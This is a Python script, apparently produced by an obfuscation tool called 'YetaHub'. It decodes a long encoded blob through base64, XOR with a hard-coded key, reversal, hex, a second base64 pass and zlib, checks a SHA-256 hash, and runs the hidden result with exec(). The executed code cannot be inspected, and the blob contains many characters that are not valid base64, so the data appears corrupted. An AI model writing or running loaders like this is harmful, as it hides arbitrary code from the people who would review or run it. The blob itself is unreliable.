# Obfuscated by YetaHub V1.2 Beta
import base64,zlib,hashlib,sys
from getpass import getpass

CRYPTO_AVAILABLE = False
try:
    from Crypto.Cipher import AES
    CRYPTO_AVAILABLE = True
except Exception:
    CRYPTO_AVAILABLE = False

enc_data = "+[TZ^lnPbTXUzpkOqSBW+\V]m2SWcVZR~siG#RMU|]ZVkbPUeSYVz kHrVGT]S[Wm`PbXU iGuRW|]PXn`Q b [ shDvRLT+^XPoaVZbRX}ulrRFU)\ Yn`SUaW]%h@HrPUy[VYSn3SQeXXQ~%kNwVEVy^T]Uk2STeX]|lAKvSAW~[ ZTmaQUaQYU&kCHwPLTw_ ZRnbQPcWXvkOH sPS)^XPkoQ`Z]zqkBM{SMVx\XSmbPZcTZU|%jEtQGV-\R[^ocV[aT]\whCO#QAW*\XYQmnRP`V] "iEuPFUv]T]^n4SUbX\ztjEtVDT+^ZUl5QWcX]||k#QBT,^ZVkdP bS[P||i{SU~\V[UneRSc ZP|!kwVU}[R]RlaPVaV]Uz%jpRWw]YYTk2Qc [!k@sPCW|^R[Rl3SVeY[}&kH{R@Wv\QYPmeRReXQz}iGqVDR~^V]Pm4Q`XW iFvVER{_WYQmdRTcU[\| iCuPUz[U]RmbVWaWZWvjHzRATx_TXl2QReS]QzphDO{RFV*\ YWkeR[cW[QzthN$Q@T-^W]lcQSaX\|%iEqSU{_V]jbQQcY]V}iD{SCVv]VXPl4Q `RXW||jOJrVFU.]QYSndSTcV[R'kF&SGV}]U]_l6PQaPX{qhNwR@W~\XPo5WSaXZ\z"iD SER{\U]^m1QRcX[]%j SLW~\SYldQReV[&iALsPCV|]R[naQbWXsjFuQMTw^P[UocP[bRY]zvl@#RWx[X_m`VVaUX]}siCpVBRz^PZPkaV[cP[SthAtRSy_UXRn`VUeXXVzqiBwRU-\\PkeSdXYQ~'iDO&QUv^WZWkdS[cZ|%jE{SAT~[TZUkdRdXZR}|kNMvRWx\VYRooVZ`UX}thGHsVGVx[RXnaVVcW[~"isSDV-\PZSm6SPe ZVrkGO{PEW|_T[noPWbZU%kGO!QLR+^ [j`VcXYrhO{VCTv^PYPmfRWaV]TzshG WGW.\WYn2QVaRZS}vhHqPW}_ ZSkgVdZW}vhNpV@Vz\XVnaVUcYYR|}hBK#QWy\QYlnV[`X|wiGM{PWw_SZQkdSPcX[}"iGMtQ@Ww] YRn2SSeS[Pz!iBsV@Rw_W[WmdSUcXYT|thsSCV}_RYn`PU`XS|pjOrREU}_U[VmePUcX[Q|%j@wR@Rw^Y[WmaSVeWZ{|lB!SFT)\V]_mnSPbR]}'iCwSUy]XY^ndSQcXYV|qjNKpRBU)\VYUlaVZaP[P}siOtVMUz[T[Ro6QbXY\|jvPFWy_VYSnePQ`X}"kCsRLU~]WXUl4Q[aP]| iGvPV}[SZWkfQbU[S}vjOvQLVy[SXUmbPVeXZSz%iDL rVAT|^W]ldR`UX vh@pVSy]W]SobQaSZ{!kA'QU*^Y[l3STeSZTzpkCOtQMTz_UXQoeRPcT]Q|uhD&SFT.]RZQlfS`S]Q}'iEvPBR_ZQm2QTeU]skwPEUv^V[SogRTeSY}"kGKzRLR-ZXWonQPeX[] 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checksum_expected = "16278e3da278c197b274a645bd28ea0d2f2cd6645aac7c51b7da8949716143e9"
mode = "NO-PASS"
fixed_key = "OhangXWebVandID_v1.2Beta"
salt_hex = ""
iters = 0

def sha256_hex(b): return hashlib.sha256(b).hexdigest()

def derive_key(password, salt, iters=200000, dklen=32):
    return hashlib.pbkdf2_hmac("sha256", password.encode(), salt, iters, dklen)

def xor_bytes(data, key):
    k = key.encode()
    return bytes(b ^ k[i % len(k)] for i, b in enumerate(data))

def abort(msg):
    print("❌", msg); sys.exit(1)

try:
    if mode == "AES-GCM":
        if not CRYPTO_AVAILABLE:
            abort("Crypto lib tidak tersedia.")
        blob = base64.b64decode(enc_data)
        nonce = blob[:12]
        tag = blob[12:28]
        ciphertext = blob[28:]

        passwd = getpass("🔐 Masukkan password dekripsi: ")
        if not passwd:
            abort("Password kosong.")

        salt = bytes.fromhex(salt_hex)
        key = derive_key(passwd, salt, iters, 32)

        cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
        step = cipher.decrypt_and_verify(ciphertext, tag)

    elif mode == "NO-PASS":
        step = base64.b64decode(enc_data)

    else:
        abort("Mode tidak dikenal.")

except Exception as e:
    abort("Decode error: " + str(e))

try:
    step = xor_bytes(step, fixed_key)[::-1]
    hexstr = step.decode()
    step = bytes.fromhex(hexstr)
    step = base64.b64decode(step)
    original = zlib.decompress(step).decode()
except Exception:
    abort("Gagal proses dekripsi.")

if sha256_hex(original.encode()) != checksum_expected:
    abort("Integrity check gagal!")

exec(original)